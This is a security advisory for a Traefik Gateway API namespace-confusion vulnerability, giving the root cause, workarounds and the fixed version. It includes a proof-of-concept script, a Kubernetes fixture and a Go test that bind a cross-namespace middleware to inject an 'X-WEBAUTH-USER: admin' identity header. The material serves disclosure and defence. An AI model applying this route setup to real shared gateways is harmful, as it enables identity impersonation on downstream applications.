CVE-2026-65601

Traefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware, potentially injecting trusted reverse-proxy identity headers into downstream requests. The issue is fixed in version 3.7.7.

Traefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware, potentially injecting trusted reverse-proxy identity headers into downstream requests. The issue is fixed in version 3.7.7.

## Summary There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef`, Traefik used the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author holding a `ReferenceGrant` for a cross-namespace Service could therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves `extensionRef` against the `HTTPRoute` namespace. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.7.7 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's Kubernetes Gateway API provider resolves `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef` in the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author with a permitted cross-namespace Service reference can therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications can receive attacker-selected authenticated identity state. ## Description Gateway API `ReferenceGrant` allows a namespace owner to grant a route in another namespace permission to reference a specific backend object, such as a `Service`. That grant should not implicitly authorize the route author to bind other policy objects in the backend namespace. In the affected code path, Traefik copies `backendRef.namespace` into a local `namespace` variable. It correctly uses that namespace to validate and load the backend `Service`, but then reuses the same namespace when resolving `backendRef.filters[].extensionRef`. For Traefik CRD `Middleware` extension filters, the CRD provider turns `(namespace, name)` into a dynamic middleware reference such as: ```text platform-privileged-auth-header@kubernetescrd ``` As a result, a tenant route in `tenant-a` can bind a middleware named `privileged-auth-header` from the backend namespace `platform`, even though the Gateway API `ReferenceGrant` only granted access to `platform/protected-api` `Service`. ## Impact The PoC demonstrates that an attacker-authored `HTTPRoute` can cause Traefik to attach a backend-namespace `Headers` middleware to the generated backend service. The middleware injects: ```text X-WEBAUTH-USER: admin ``` That is a realistic downstream primitive because many applications support trusted reverse-proxy authentication headers when deployed behind a gateway. Separate Docker validation showed this header-auth class can map to authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus Repository when those products are intentionally configured for reverse-proxy authentication. This is not a bug in those downstream applications and this PoC does not claim direct Traefik host RCE, sandbox escape, private-key exfiltration, or default cluster takeover. The Traefik vulnerability is unauthorized middleware binding across a Gateway API namespace boundary. ## Proof Of Concept ### Files <details> <summary>run.sh</summary> ```bash #!/usr/bin/env sh set -eu TARGET_REF="${TARGET_REF:-v3.7.5}" REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}" SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}" if [ "${KEEP_WORKDIR:-0}" != "1" ]; then trap 'rm -rf "$WORKDIR"' EXIT INT TERM fi printf '[*] target_ref=%s\n' "$TARGET_REF" printf '[*] workdir=%s\n' "$WORKDIR" if [ -n "${TRAEFIK_SRC:-}" ]; then printf '[*] cloning from local source: %s\n' "$TRAEFIK_SRC" git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik" cd "$WORKDIR/traefik" git -c advice.detachedHead=false checkout -q "$TARGET_REF" else printf '[*] cloning from remote: %s\n' "$REPO_URL" git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik" cd "$WORKDIR/traefik" fi mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute cp "$SCRIPT_DIR/poc_gateway_extensionref_test.go" \ pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go cp "$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml" \ pkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then sed -i \ -e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/' \ -e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \ pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go fi printf '[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n' go test ./pkg/provider/kubernetes/gateway \ -run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \ -count=1 -v printf 'POC_RESULT=PASS\n' ``` </details> <details> <summary>backendref_extension_filter_cross_namespace_poc.yml</summary> ```yaml --- apiVersion: v1 kind: Service metadata: name: protected-api namespace: platform spec: ports: - name: web protocol: TCP port: 80 targetPort: web --- kind: EndpointSlice apiVersion: discovery.k8s.io/v1 metadata: name: protected-api-abc namespace: platform labels: kubernetes.io/service-name: protected-api addressType: IPv4 ports: - name: web port: 8080 endpoints: - addresses: - 10.10.20.10 conditions: ready: true --- kind: GatewayClass apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway-class spec: controllerName: traefik.io/gateway-controller --- kind: Gateway apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway namespace: infra spec: gatewayClassName: shared-gateway-class listeners: - name: http protocol: HTTP port: 80 allowedRoutes: kinds: - kind: HTTPRoute group: gateway.networking.k8s.io namespaces: from: All --- kind: ReferenceGrant apiVersion: gateway.networking.k8s.io/v1beta1 metadata: name: allow-tenant-route-to-service namespace: platform spec: from: - group: gateway.networking.k8s.io kind: HTTPRoute namespace: tenant-a to: - group: "" kind: Service name: protected-api --- kind: HTTPRoute apiVersion: gateway.networking.k8s.io/v1 metadata: name: tenant-route namespace: tenant-a spec: parentRefs: - name: shared-gateway namespace: infra kind: Gateway group: gateway.networking.k8s.io hostnames: - attacker.example rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: protected-api namespace: platform port: 80 kind: Service group: "" filters: - type: ExtensionRef extensionRef: group: traefik.io kind: Middleware name: privileged-auth-header ``` </details> <details> <summary>poc_gateway_extensionref_test.go</summary> ```go package gateway import ( "net/http" "net/http/httptest" "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/traefik/traefik/v3/pkg/config/dynamic" "github.com/traefik/traefik/v3/pkg/middlewares/headers" traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1" kubefake "k8s.io/client-go/kubernetes/fake" ) func TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) { k8sObjects, gwObjects := readResources(t, []string{"httproute/backendref_extension_filter_cross_namespace_poc.yml"}) kubeClient := kubefake.NewClientset(k8sObjects...) gwClient := newGatewaySimpleClientSet(t, gwObjects...) client := newClientImpl(kubeClient, gwClient) eventCh, err := client.WatchAll(nil, make(chan struct{})) require.NoError(t, err) if len(k8sObjects) > 0 || len(gwObjects) > 0 { <-eventCh } var resolvedRefs []string p := Provider{ EntryPoints: map[string]Entrypoint{"web": {Address: ":80"}}, client: client, } p.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) { resolvedRefs = append(resolvedRefs, namespace+"/"+name) return namespace + "-" + name + "@kubernetescrd", &dynamic.Middleware{ Headers: &dynamic.Headers{ CustomRequestHeaders: map[string]string{ "X-WEBAUTH-USER": "admin", }, }, }, nil }) conf := p.loadConfigurationFromGateways(t.Context()) require.NotNil(t, conf) var serviceConfig *dynamic.Service for _, service := range conf.HTTP.Services { for _, middlewareRef := range service.Middlewares { if middlewareRef == "platform-privileged-auth-header@kubernetescrd" { serviceConfig = service } } } require.Contains(t, resolvedRefs, "platform/privileged-auth-header") require.Contains(t, conf.HTTP.Middlewares, "platform-privileged-auth-header@kubernetescrd") require.NotNil(t, serviceConfig) require.Contains(t, serviceConfig.Middlewares, "platform-privileged-auth-header@kubernetescrd") seenUser := make(chan string, 1) backend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) { seenUser <- req.Header.Get("X-WEBAUTH-USER") rw.WriteHeader(http.StatusOK) }) handler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares["platform-privileged-auth-header@kubernetescrd"].Headers) require.NoError(t, err) recorder := httptest.NewRecorder() handler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, "http://attacker.example/", nil)) assert.Equal(t, http.StatusOK, recorder.Code) assert.Equal(t, "admin", <-seenUser) t.Logf("POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q", "platform", "platform-privileged-auth-header@kubernetescrd", "X-WEBAUTH-USER: admin") } ``` </details> ### Requirements - `git` - Go toolchain compatible with the target Traefik tag. `v3.7.5` uses `go 1.25.0`. - Network access to clone `https://github.com/traefik/traefik.git` and download Go modules on first run. No local Traefik checkout or Kubernetes cluster is required by default. ### Run ```sh ./run.sh ``` Optional target override: ```sh TARGET_REF=v3.7.0 ./run.sh ``` Optional local-source override for faster validation: ```sh TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh ``` ### Expected Result The run should end with: ```text POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace="platform" middleware="platform-privileged-auth-header@kubernetescrd" injected_header="X-WEBAUTH-USER: admin" POC_RESULT=PASS ``` ## Root Cause Line numbers below are from: ```text repository: https://github.com/traefik/traefik tag: v3.7.5 commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0 ``` ### 1. Route-level filters use the route namespace `pkg/provider/kubernetes/gateway/httproute.go:143-144` ```go // TODO loadMiddlewares errors could change the condition. router.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path) ``` For filters directly on `HTTPRoute.rules[]`, Traefik resolves extension filters relative to `route.Namespace`. This matches the Gateway API `LocalObjectReference` model. ### 2. BackendRef namespace overwrites the route namespace `pkg/provider/kubernetes/gateway/httproute.go:240-243` ```go namespace := route.Namespace if backendRef.Namespace != nil && *backendRef.Namespace != "" { namespace = string(*backendRef.Namespace) ``` For a cross-namespace backend Service, `namespace` becomes the backend namespace, for example `platform`. ### 3. ReferenceGrant checks only the backend object `pkg/provider/kubernetes/gateway/httproute.go:258-266` ```go if err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil { return serviceName, &metav1.Condition{ Type: string(gatev1.RouteConditionResolvedRefs), Status: metav1.ConditionFalse, ObservedGeneration: route.Generation, LastTransitionTime: metav1.Now(), Reason: string(gatev1.RouteReasonRefNotPermitted), ``` This validates permission to reference the backend object, such as `platform/protected-api` `Service`. ### 4. The backend namespace is reused for backendRef filters `pkg/provider/kubernetes/gateway/httproute.go:269-277` ```go middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch) if err != nil { return serviceName, &metav1.Condition{ Type: string(gatev1.RouteConditionResolvedRefs), Status: metav1.ConditionFalse, ObservedGeneration: route.Generation, LastTransitionTime: metav1.Now(), ``` The same `namespace` variable now points to the backend namespace. Therefore an `ExtensionRef` inside `backendRef.filters[]` is resolved as `platform/<middleware-name>` instead of `tenant-a/<middleware-name>`. ### 5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider `pkg/provider/kubernetes/crd/kubernetes.go:169-175` ```go registry.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) { if len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) { return "", nil, fmt.Errorf("namespace %q is not allowed", namespace) } return makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil ``` The namespace passed from `loadMiddlewares()` decides which CRD `Middleware` object becomes part of the dynamic service configuration. ### 6. Service-level middlewares are applied at runtime `pkg/server/service/service.go:186-194` ```go if len(conf.Middlewares) > 0 { if m.middlewareChainBuilder == nil { // This should happen only in tests. return nil, errors.New("chain builder not defined") } chain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares) originalLB := lb var err error lb, err = chain.Then(lb) ``` The unauthorized middleware reference is not merely stored. Traefik applies service-level middlewares to the backend load balancer handler during normal HTTP service construction. ## Minimal Exploit Shape The PoC fixture contains the essential object graph: ```text tenant-a/HTTPRoute -> backendRef namespace: platform, name: protected-api -> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header platform/ReferenceGrant -> allows tenant-a HTTPRoute to reference platform/protected-api Service only platform/protected-api Service Traefik resolves the ExtensionRef as: platform/privileged-auth-header ``` In a real affected deployment, if `platform/privileged-auth-header` sets a trusted identity header, requests sent through the tenant route can reach the backend with that header injected by Traefik. ## Workarounds - Avoid granting untrusted namespaces permission to attach `HTTPRoute` objects to shared Gateways that route to sensitive backends. - Do not place privileged or identity-bearing Traefik `Middleware` objects in namespaces that can be reached by untrusted cross-namespace `HTTPRoute` backend references. - Prefer route-local filters and explicitly audit `HTTPRoute.rules[].backendRefs[].filters[].extensionRef` usage. - Strip trusted reverse-proxy identity headers at backend application boundaries unless they originate from a dedicated authentication gateway. ## Scope Boundary Exploitation requires low-privileged route-author capability in a Kubernetes Gateway API deployment. A remote unauthenticated web client without `HTTPRoute` authoring capability cannot create the malicious route. If the shared Gateway is internet-facing, the final request that triggers the unauthorized middleware can be sent over the public network after the route is created. </details> ---